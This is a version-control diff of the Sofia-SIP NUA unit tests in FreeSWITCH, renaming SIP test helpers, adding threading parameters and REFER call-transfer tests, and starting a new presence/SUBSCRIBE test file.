@@ -2503,7 +2990,7 @@
   nua_handle_t *nh;
   struct message *invite, *cancel;
 
-  s2_case("4.3.5", "Destroy handle in re-INVITE calling state",
+  S2_CASE("4.3.5", "Destroy handle in re-INVITE calling state",
 	  "NUA sends re-INVITE, handle gets destroyed.");
 
   nh = invite_to_nua(TAG_END());
@@ -2513,15 +3000,15 @@
 
   nua_handle_destroy(nh);
 
-  s2_respond_to(invite, dialog, SIP_100_TRYING, TAG_END());
+  s2_sip_respond_to(invite, dialog, SIP_100_TRYING, TAG_END());
 
-  cancel = s2_wait_for_request(SIP_METHOD_CANCEL);
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
   fail_if(!cancel);
-  s2_respond_to(invite, dialog, SIP_487_REQUEST_CANCELLED, TAG_END());
-  s2_free_message(invite);
+  s2_sip_respond_to(invite, dialog, SIP_487_REQUEST_CANCELLED, TAG_END());
+  s2_sip_free_message(invite);
 
-  s2_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(cancel);
+  s2_sip_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(cancel);
 }
 END_TEST
 
@@ -2531,26 +3018,26 @@
   nua_handle_t *nh;
   struct message *invite, *cancel;
 
-  s2_case("4.3.6", "Destroy handle in calling state of re-INVITE",
+  S2_CASE("4.3.6", "Destroy handle in calling state of re-INVITE",
 	  "NUA sends re-INVITE, receives 180, handle gets destroyed.");
 
   nh = invite_to_nua(TAG_END());
 
   invite = invite_sent_by_nua(nh, TAG_END());
   process_offer(invite);
-  s2_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 180));
+  s2_sip_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
+  fail_unless_event(nua_r_invite, 180);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   nua_handle_destroy(nh);
 
-  cancel = s2_wait_for_request(SIP_METHOD_CANCEL);
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
   fail_if(!cancel);
-  s2_respond_to(invite, dialog, SIP_487_REQUEST_CANCELLED, TAG_END());
-  s2_free_message(invite);
+  s2_sip_respond_to(invite, dialog, SIP_487_REQUEST_CANCELLED, TAG_END());
+  s2_sip_free_message(invite);
 
-  s2_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(cancel);
+  s2_sip_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(cancel);
 }
 END_TEST
 
@@ -2560,33 +3047,33 @@
   nua_handle_t *nh;
   struct message *invite, *ack, *bye;
 
-  s2_case("4.3.7", "Destroy handle in completing state of re-INVITE",
+  S2_CASE("4.3.7", "Destroy handle in completing state of re-INVITE",
 	  "NUA sends INVITE, receives 200, handle gets destroyed.");
 
   nh = invite_to_nua(TAG_END());
 
   invite = invite_sent_by_nua(nh, NUTAG_AUTOACK(0), TAG_END());
   process_offer(invite);
-  s2_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 180));
+  s2_sip_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
+  fail_unless_event(nua_r_invite, 180);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 200));
+  fail_unless_event(nua_r_invite, 200);
   fail_unless(s2_check_callstate(nua_callstate_completing));
 
   nua_handle_destroy(nh);
 
-  ack = s2_wait_for_request(SIP_METHOD_ACK);
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
   fail_if(!ack);
-  s2_free_message(ack);
+  s2_sip_free_message(ack);
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 
-  s2_free_message(invite);
+  s2_sip_free_message(invite);
 }
 END_TEST
 
@@ -2596,15 +3083,12 @@
   nua_handle_t *nh;
   struct message *invite, *ack, *bye;
 
-  tport_set_params(s2->master, TPTAG_LOG(1), TAG_END());
-  s2_setup_logs(7);
-
-  s2_case("4.3.8", "Destroy handle after INVITE sent",
+  S2_CASE("4.3.8", "Destroy handle after INVITE sent",
 	  "NUA sends INVITE, handle gets destroyed, "
 	  "but remote end returns 200 OK. "
 	  "Make sure nua tries to release call properly.");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite = invite_sent_by_nua(nh, TAG_END());
   process_offer(invite);
@@ -2612,16 +3096,16 @@
   nua_handle_destroy(nh);
 
   respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(invite);
+  s2_sip_free_message(invite);
 
-  ack = s2_wait_for_request(SIP_METHOD_ACK);
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
   fail_if(!ack);
-  s2_free_message(ack);
+  s2_sip_free_message(ack);
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 }
 END_TEST
 
@@ -2631,40 +3115,37 @@
   nua_handle_t *nh;
   struct message *invite, *cancel, *ack, *bye;
 
-  tport_set_params(s2->master, TPTAG_LOG(1), TAG_END());
-  s2_setup_logs(7);
-
-  s2_case("4.3.9", "Destroy handle in calling state",
+  S2_CASE("4.3.9", "Destroy handle in calling state",
 	  "NUA sends INVITE, receives 180, handle gets destroyed, "
 	  "but remote end returns 200 OK. "
 	  "Make sure nua tries to release call properly.");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite = invite_sent_by_nua(nh, TAG_END());
   process_offer(invite);
-  s2_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 180));
+  s2_sip_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
+  fail_unless_event(nua_r_invite, 180);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   nua_handle_destroy(nh);
 
-  cancel = s2_wait_for_request(SIP_METHOD_CANCEL);
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
   fail_if(!cancel);
-  s2_respond_to(cancel, dialog, SIP_481_NO_TRANSACTION, TAG_END());
-  s2_free_message(cancel);
+  s2_sip_respond_to(cancel, dialog, SIP_481_NO_TRANSACTION, TAG_END());
+  s2_sip_free_message(cancel);
 
   respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(invite);
+  s2_sip_free_message(invite);
 
-  ack = s2_wait_for_request(SIP_METHOD_ACK);
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
   fail_if(!ack);
-  s2_free_message(ack);
+  s2_sip_free_message(ack);
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 }
 END_TEST
 
@@ -2675,7 +3156,7 @@
   struct event *invite;
   struct message *response;
 
-  s2_case("4.4.1", "Destroy handle while call is on-going",
+  S2_CASE("4.4.1", "Destroy handle while call is on-going",
 	  "NUA is callee, sends 100, destroys handle");
 
   soa_generate_offer(soa, 1, NULL);
@@ -2688,18 +3169,18 @@
 
   s2_free_event(invite);
 
-  response = s2_wait_for_response(100, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(100, SIP_METHOD_INVITE);
   fail_if(!response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
   nua_handle_destroy(nh);
 
-  response = s2_wait_for_response(480, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(480, SIP_METHOD_INVITE);
   fail_if(!response);
-  fail_if(s2_request_to(dialog, SIP_METHOD_ACK, NULL,
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL,
 			SIPTAG_VIA(sip_object(dialog->invite)->sip_via),
 			TAG_END()));
-  s2_free_message(response);
+  s2_sip_free_message(response);
 }
 END_TEST
 
@@ -2710,7 +3191,7 @@
   struct event *invite;
   struct message *response;
 
-  s2_case("4.4.1", "Destroy handle while call is on-going",
+  S2_CASE("4.4.1", "Destroy handle while call is on-going",
 	  "NUA is callee, sends 180, destroys handle");
 
   soa_generate_offer(soa, 1, NULL);
@@ -2723,24 +3204,24 @@
 
   s2_free_event(invite);
 
-  response = s2_wait_for_response(100, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(100, SIP_METHOD_INVITE);
   fail_if(!response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
   nua_respond(nh, SIP_180_RINGING, TAG_END());
 
-  response = s2_wait_for_response(180, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(180, SIP_METHOD_INVITE);
   fail_if(!response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
   nua_handle_destroy(nh);
 
-  response = s2_wait_for_response(480, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(480, SIP_METHOD_INVITE);
   fail_if(!response);
-  fail_if(s2_request_to(dialog, SIP_METHOD_ACK, NULL,
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL,
 			SIPTAG_VIA(sip_object(dialog->invite)->sip_via),
 			TAG_END()));
-  s2_free_message(response);
+  s2_sip_free_message(response);
 }
 END_TEST
 
@@ -2751,7 +3232,7 @@
   struct event *invite;
   struct message *response, *bye;
 
-  s2_case("4.4.3.1", "Destroy handle while call is on-going",
+  S2_CASE("4.4.3.1", "Destroy handle while call is on-going",
 	  "NUA is callee, sends 200, destroys handle");
 
   soa_generate_offer(soa, 1, NULL);
@@ -2764,37 +3245,37 @@
 
   s2_free_event(invite);
 
-  response = s2_wait_for_response(100, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(100, SIP_METHOD_INVITE);
   fail_if(!response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
   nua_respond(nh, SIP_180_RINGING,
 	      SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
 	      TAG_END());
 
-  response = s2_wait_for_response(180, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(180, SIP_METHOD_INVITE);
   fail_if(!response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
   fail_unless(s2_check_callstate(nua_callstate_early));
 
   nua_respond(nh, SIP_200_OK, TAG_END());
   fail_unless(s2_check_callstate(nua_callstate_completed));
 
-  response = s2_wait_for_response(200, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(200, SIP_METHOD_INVITE);
   fail_if(!response);
 
   nua_handle_destroy(nh);
 
-  fail_if(s2_request_to(dialog, SIP_METHOD_ACK, NULL,
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL,
 			SIPTAG_VIA(sip_object(dialog->invite)->sip_via),
 			TAG_END()));
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 }
 END_TEST
 
@@ -2805,7 +3286,7 @@
   struct event *invite;
   struct message *response, *bye;
 
-  s2_case("4.4.3.1", "Destroy handle while call is on-going",
+  S2_CASE("4.4.3.1", "Destroy handle while call is on-going",
 	  "NUA is callee, sends 200, destroys handle");
 
   soa_generate_offer(soa, 1, NULL);
@@ -2818,45 +3299,45 @@
 
   s2_free_event(invite);
 
-  response = s2_wait_for_response(100, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(100, SIP_METHOD_INVITE);
   fail_if(!response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
   nua_respond(nh, SIP_180_RINGING,
 	      SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
 	      TAG_END());
 
-  response = s2_wait_for_response(180, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(180, SIP_METHOD_INVITE);
   fail_if(!response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
   fail_unless(s2_check_callstate(nua_callstate_early));
 
   nua_respond(nh, SIP_200_OK, TAG_END());
   fail_unless(s2_check_callstate(nua_callstate_completed));
 
-  response = s2_wait_for_response(200, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(200, SIP_METHOD_INVITE);
   fail_if(!response);
 
   nua_handle_destroy(nh);
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 
-  fail_if(s2_request_to(dialog, SIP_METHOD_ACK, NULL,
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL,
 			SIPTAG_VIA(sip_object(dialog->invite)->sip_via),
 			TAG_END()));
-  s2_free_message(response);
+  s2_sip_free_message(response);
 }
 END_TEST
 
-TCase *destroy_tcase(void)
+static TCase *destroy_tcase(int threading)
 {
   TCase *tc = tcase_create("4.3 - Destroying Handle");
 
-  tcase_add_checked_fixture(tc, call_setup, call_teardown);
+  add_call_fixtures(tc, threading);
 
   {
     tcase_add_test(tc, destroy_4_3_1);
@@ -2891,26 +3372,26 @@
   nua_handle_t *nh;
   struct message *response;
 
-  s2_case("5.1.1", "Test nua_respond() API",
+  S2_CASE("5.1.1", "Test nua_respond() API",
 	  "Test nua_respond() API with OPTIONS.");
 
-  s2_request_to(dialog, SIP_METHOD_OPTIONS, NULL, TAG_END());
+  s2_sip_request_to(dialog, SIP_METHOD_OPTIONS, NULL, TAG_END());
 
   options = s2_wait_for_event(nua_i_options, 200);
   fail_unless(options != NULL);
   nh = options->nh; fail_if(!nh);
 
-  response = s2_wait_for_response(200, SIP_METHOD_OPTIONS);
+  response = s2_sip_wait_for_response(200, SIP_METHOD_OPTIONS);
 
   fail_if(!response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
   nua_handle_destroy(nh);
 
   nua_set_params(nua, NUTAG_APPL_METHOD("OPTIONS"), TAG_END());
-  fail_unless(s2_check_event(nua_r_set_params, 200));
+  fail_unless_event(nua_r_set_params, 200);
 
-  s2_request_to(dialog, SIP_METHOD_OPTIONS, NULL, TAG_END());
+  s2_sip_request_to(dialog, SIP_METHOD_OPTIONS, NULL, TAG_END());
 
   options = s2_wait_for_event(nua_i_options, 100);
   fail_unless(options != NULL);
@@ -2918,9 +3399,9 @@
 
   nua_respond(nh, 202, "okok", NUTAG_WITH_SAVED(options->event), TAG_END());
 
-  response = s2_wait_for_response(202, SIP_METHOD_OPTIONS);
+  response = s2_sip_wait_for_response(202, SIP_METHOD_OPTIONS);
   fail_if(!response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
   nua_handle_destroy(nh);
 }
@@ -2950,13 +3431,13 @@
   pthread_t tid;
   void *thread_return = NULL;
 
-  s2_case("5.1.2", "Test nua_respond() API with another thread",
+  S2_CASE("5.1.2", "Test nua_respond() API with another thread",
 	  "Test multithreading nua_respond() API with OPTIONS.");
 
   nua_set_params(nua, NUTAG_APPL_METHOD("OPTIONS"), TAG_END());
-  fail_unless(s2_check_event(nua_r_set_params, 200));
+  fail_unless_event(nua_r_set_params, 200);
 
-  s2_request_to(dialog, SIP_METHOD_OPTIONS, NULL, TAG_END());
+  s2_sip_request_to(dialog, SIP_METHOD_OPTIONS, NULL, TAG_END());
 
   options = s2_wait_for_event(nua_i_options, 100);
   fail_unless(options != NULL);
@@ -2966,9 +3447,9 @@
   pthread_join(tid, &thread_return);
   fail_unless(thread_return == (void *)options);
 
-  response = s2_wait_for_response(202, SIP_METHOD_OPTIONS);
+  response = s2_sip_wait_for_response(202, SIP_METHOD_OPTIONS);
   fail_if(!response);
-  s2_free_message(response);
+  s2_sip_free_message(response);
 
   nua_handle_destroy(nh);
 }
@@ -2980,7 +3461,7 @@
 END_TEST
 #endif
 
-TCase *options_tcase(void)
+TCase *options_tcase(int threading)
 {
   TCase *tc = tcase_create("5 - OPTIONS, etc");
 
@@ -2992,7 +3473,6 @@
   return tc;
 }
 
-
 static void options_setup(void)
 {
   s2_nua_thread = 1;
@@ -3001,31 +3481,169 @@
 
 static void options_teardown(void)
 {
+  s2_teardown_started("options");
   call_teardown();
 }
 
+/* ====================================================================== */
+/* Test cases for REFER */
 
+START_TEST(refer_5_2_1)
+{
+  nua_handle_t *nh;
+  sip_refer_to_t r[1];
+  struct event *refer;
+  struct message *notify;
+
+  S2_CASE("5.2.1", "Receive REFER",
+	  "Make a call, receive REFER.");
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+  invite_by_nua(nh, TAG_END());
+
+  *sip_refer_to_init(r)->r_url = *s2sip->aor->a_url;
+  r->r_url->url_user = "bob2";
+
+  s2_sip_request_to(dialog, SIP_METHOD_REFER, NULL,
+		SIPTAG_REFER_TO(r),
+		TAG_END());
+  refer = s2_wait_for_event(nua_i_refer, 202);
+
+  bye_by_nua(nh, TAG_END());
+
+  nua_handle_destroy(nh);
+
+  notify = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  s2_sip_respond_to(notify, dialog, SIP_200_OK, TAG_END());
+}
+END_TEST
+
+
+START_TEST(refer_5_2_2)
+{
+  nua_handle_t *nh, *nh2;
+  sip_refer_to_t r[1];
+  sip_referred_by_t by[1];
+  struct event *refer, *notified;
+  sip_t const *sip;
+  sip_event_t const *refer_event = NULL;
+  sip_subscription_state_t const *ss;
+  struct message *invite;
+  struct message *notify0, *notify1, *notify2;
+  struct dialog *dialog1, *dialog2;
+
+  S2_CASE("5.2.2", "Receive REFER",
+	  "Make a call, receive REFER, "
+	  "make another call with automatic NOTIFYs");
+
+  dialog2 = su_home_new(sizeof *dialog2); fail_unless(dialog2 != NULL);
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+  invite_by_nua(nh, TAG_END());
+
+  *sip_refer_to_init(r)->r_url = *s2sip->aor->a_url;
+  r->r_url->url_user = "bob2";
+
+  s2_sip_request_to(dialog, SIP_METHOD_REFER, NULL,
+		SIPTAG_REFER_TO(r),
+		TAG_END());
+  refer = s2_wait_for_event(nua_i_refer, 202);
+  sip = sip_object(refer->data->e_msg);
+  fail_unless(sip && sip->sip_refer_to);
+
+  bye_by_nua(nh, TAG_END());
+
+  dialog1 = dialog, dialog = dialog2;
+
+  *sip_referred_by_init(by)->b_url =
+    *sip->sip_from->a_url;
+
+  fail_unless(tl_gets(refer->data->e_tags,
+		      NUTAG_REFER_EVENT_REF(refer_event),
+		      TAG_END()) == 1);
+
+  nua_notify(nh,
+	     SIPTAG_EVENT(refer_event),
+	     SIPTAG_CONTENT_TYPE_STR("message/sipfrag"),
+	     SIPTAG_PAYLOAD_STR("SIP/2.0 100 Trying\r\n"),
+	     NUTAG_SUBSTATE(nua_substate_active),
+	     TAG_END());
+  notify0 = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  fail_unless((ss = notify0->sip->sip_subscription_state) != NULL);
+  fail_unless(su_casematch("active", ss->ss_substate));
+  s2_sip_respond_to(notify0, dialog1, SIP_200_OK, TAG_END());
+  notified = s2_wait_for_event(nua_r_notify, 200);
+
+  nh2 = nua_handle(nua, NULL, NUTAG_URL(r->r_url), TAG_END());
+
+  invite = invite_sent_by_nua(nh2,
+			      NUTAG_REFER_EVENT(refer_event),
+			      NUTAG_NOTIFY_REFER(nh),
+			      SIPTAG_REFERRED_BY(by),
+			      TAG_END());
+  process_offer(invite);
+
+  respond_with_sdp(
+    invite, dialog, SIP_180_RINGING,
+    SIPTAG_CONTENT_DISPOSITION_STR("session;handling=optional"),
+    TAG_END());
+  fail_unless_event(nua_r_invite, 180);
+  fail_unless(s2_check_callstate(nua_callstate_proceeding));
+
+  notify1 = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  s2_sip_respond_to(notify1, dialog1, SIP_200_OK, TAG_END());
+
+  respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(invite);
+  fail_unless_event(nua_r_invite, 200);
+  fail_unless(s2_check_callstate(nua_callstate_ready));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+
+  notify2 = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  s2_sip_respond_to(notify2, dialog1, SIP_200_OK, TAG_END());
+  fail_unless((ss = notify2->sip->sip_subscription_state) != NULL);
+  fail_unless(su_casematch("terminated", ss->ss_substate));
+
+  nua_handle_destroy(nh);
+  bye_by_nua(nh2, TAG_END());
+  nua_handle_destroy(nh2);
+}
+END_TEST
+
+TCase *refer_tcase(int threading)
+{
+  TCase *tc = tcase_create("5.2 - Call Transfer");
+
+  add_call_fixtures(tc, threading);
+
+  tcase_add_test(tc, refer_5_2_1);
+  tcase_add_test(tc, refer_5_2_2);
+
+  return tc;
+}
+
 /* ====================================================================== */
 
 /* Test case template */
 
 START_TEST(empty)
 {
-  s2_case("0.0.0", "Empty test case",
+  S2_CASE("0.0.0", "Empty test case",
 	  "Detailed explanation for empty test case.");
 
-  tport_set_params(s2->master, TPTAG_LOG(1), TAG_END());
+  tport_set_params(s2sip->master, TPTAG_LOG(1), TAG_END());
   s2_setup_logs(7);
   s2_setup_logs(0);
-  tport_set_params(s2->master, TPTAG_LOG(0), TAG_END());
+  tport_set_params(s2sip->master, TPTAG_LOG(0), TAG_END());
 }
-
 END_TEST
 
-TCase *empty_tcase(void)
+TCase *empty_tcase(int threading)
 {
   TCase *tc = tcase_create("0 - Empty");
-  tcase_add_checked_fixture(tc, call_setup, call_teardown);
+
+  add_call_fixtures(tc, threading);
+
   tcase_add_test(tc, empty);
 
   return tc;
@@ -3033,19 +3651,20 @@
 
 /* ====================================================================== */
 
-void check_session_cases(Suite *suite)
+void check_session_cases(Suite *suite, int threading)
 {
-  suite_add_tcase(suite, invite_tcase());
-  suite_add_tcase(suite, cancel_tcase());
-  suite_add_tcase(suite, session_timer_tcase());
-  suite_add_tcase(suite, invite_100rel_tcase());
-  suite_add_tcase(suite, invite_precondition_tcase());
-  suite_add_tcase(suite, invite_glare_tcase());
-  suite_add_tcase(suite, invite_error_tcase());
-  suite_add_tcase(suite, termination_tcase());
-  suite_add_tcase(suite, destroy_tcase());
-  suite_add_tcase(suite, options_tcase());
+  suite_add_tcase(suite, invite_tcase(threading));
+  suite_add_tcase(suite, cancel_tcase(threading));
+  suite_add_tcase(suite, session_timer_tcase(threading));
+  suite_add_tcase(suite, invite_100rel_tcase(threading));
+  suite_add_tcase(suite, invite_precondition_tcase(threading));
+  suite_add_tcase(suite, reinvite_tcase(threading));
+  suite_add_tcase(suite, invite_error_tcase(threading));
+  suite_add_tcase(suite, termination_tcase(threading));
+  suite_add_tcase(suite, destroy_tcase(threading));
+  suite_add_tcase(suite, options_tcase(threading));
+  suite_add_tcase(suite, refer_tcase(threading));
 
   if (0)			/* Template */
-    suite_add_tcase(suite, empty_tcase());
+    suite_add_tcase(suite, empty_tcase(threading));
 }

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_simple.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/nua/check_simple.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_simple.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_simple.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,873 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2008 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@CFILE check_events.c
+ *
+ * @brief NUA module tests for SIP events
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ *
+ * @copyright (C) 2008 Nokia Corporation.
+ */
+
+#include "config.h"
+
+#undef NDEBUG
+
+#include "check_nua.h"
+
+#include <sofia-sip/sip_status.h>
+#include <sofia-sip/sip_header.h>
+#include <sofia-sip/soa.h>
+#include <sofia-sip/su_tagarg.h>
+#include <sofia-sip/su_string.h>
+#include <sofia-sip/su_tag_io.h>
+
+#include <stdlib.h>
+#include <string.h>
+#include <assert.h>
+
+/* define XXX as 1 in order to see all failing test cases */
+#ifndef XXX
+#define XXX (0)
+#endif
+
+/* ====================================================================== */
+
+static nua_t *nua;
+static struct dialog *dialog = NULL;
+
+#define CRLF "\r\n"
+
+void s2_dialog_setup(void)
+{
+  nua = s2_nua_setup("simple",
+		     SIPTAG_ORGANIZATION_STR("Pussy Galore's Flying Circus"),
+                     NUTAG_OUTBOUND("no-options-keepalive, no-validate"),
+		     TAG_END());
+
+  dialog = su_home_new(sizeof *dialog); fail_if(!dialog);
+
+  s2_register_setup();
+}
+
+void s2_dialog_teardown(void)
+{
+  s2_teardown_started("simple");
+
+  s2_register_teardown();
+
+  nua_shutdown(nua);
+
+  fail_unless_event(nua_r_shutdown, 200);
+
+  s2_nua_teardown();
+}
+
+static void simple_thread_setup(void)
+{
+  s2_nua_thread = 1;
+  s2_dialog_setup();
+}
+
+static void simple_threadless_setup(void)
+{
+  s2_nua_thread = 0;
+  s2_dialog_setup();
+}
+
+static void simple_teardown(void)
+{
+  s2_dialog_teardown();
+}
+
+static char const presence_open[] =
+    "<?xml version='1.0' encoding='UTF-8'?>\n"
+    "<presence xmlns='urn:ietf:params:xml:ns:cpim-pidf' \n"
+    "   entity='pres:bob@example.org'>\n"
+    "  <tuple id='ksac9udshce'>\n"
+    "    <status><basic>open</basic></status>\n"
+    "    <contact priority='1.0'>sip:bob@example.org</contact>\n"
+    "  </tuple>\n"
+    "</presence>\n";
+
+static char const presence_closed[] =
+    "<?xml version='1.0' encoding='UTF-8'?>\n"
+    "<presence xmlns='urn:ietf:params:xml:ns:cpim-pidf' \n"
+    "   entity='pres:bob@example.org'>\n"
+    "  <tuple id='ksac9udshce'>\n"
+    "    <status><basic>closed</basic></status>\n"
+    "  </tuple>\n"
+    "</presence>\n";
+
+static char const *event_type = "presence";
+static char const *event_mime_type = "application/pidf+xml";
+static char const *event_state = presence_open;
+static char const *subscription_state = "active;expires=600";
+
+static struct event *
+respond_to_subscribe(struct message *subscribe,
+		     nua_event_t expect_event,
+		     enum nua_substate expect_substate,
+		     int status, char const *phrase,
+		     tag_type_t tag, tag_value_t value, ...)
+{
+  struct event *event;
+  ta_list ta;
+
+  ta_start(ta, tag, value);
+  s2_sip_respond_to(subscribe, dialog, status, phrase,
+		ta_tags(ta));
+  ta_end(ta);
+
+  event = s2_wait_for_event(expect_event, status); fail_if(!event);
+  fail_unless(s2_check_substate(event, expect_substate));
+  return event;
+}
+
+static struct event *
+notify_to_nua(enum nua_substate expect_substate,
+	      tag_type_t tag, tag_value_t value, ...)
+{
+  struct event *event;
+  struct message *response;
+  ta_list ta;
+
+  ta_start(ta, tag, value);
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_NOTIFY, NULL,
+			SIPTAG_CONTENT_TYPE_STR(event_mime_type),
+			SIPTAG_PAYLOAD_STR(event_state),
+			ta_tags(ta)));
+  ta_end(ta);
+
+  response = s2_sip_wait_for_response(200, SIP_METHOD_NOTIFY);
+  fail_if(!response);
+  s2_sip_free_message(response);
+
+  event = s2_wait_for_event(nua_i_notify, 200); fail_if(!event);
+  fail_unless(s2_check_substate(event, expect_substate));
+
+  return event;
+}
+
+static int send_notify_before_response = 0;
+
+static struct event *
+subscription_by_nua(nua_handle_t *nh,
+		    enum nua_substate current,
+		    tag_type_t tag, tag_value_t value, ...)
+{
+  struct message *subscribe;
+  struct event *notify, *event;
+  ta_list ta;
+  enum nua_substate substate = nua_substate_active;
+  char const *substate_str = subscription_state;
+  char const *expires = "600";
+
+  subscribe = s2_sip_wait_for_request(SIP_METHOD_SUBSCRIBE);
+  if (event_type)
+    fail_if(!subscribe->sip->sip_event ||
+	    strcmp(event_type, subscribe->sip->sip_event->o_type));
+
+  if (subscribe->sip->sip_expires && subscribe->sip->sip_expires->ex_delta == 0) {
+    substate = nua_substate_terminated;
+    substate_str = "terminated;reason=timeout";
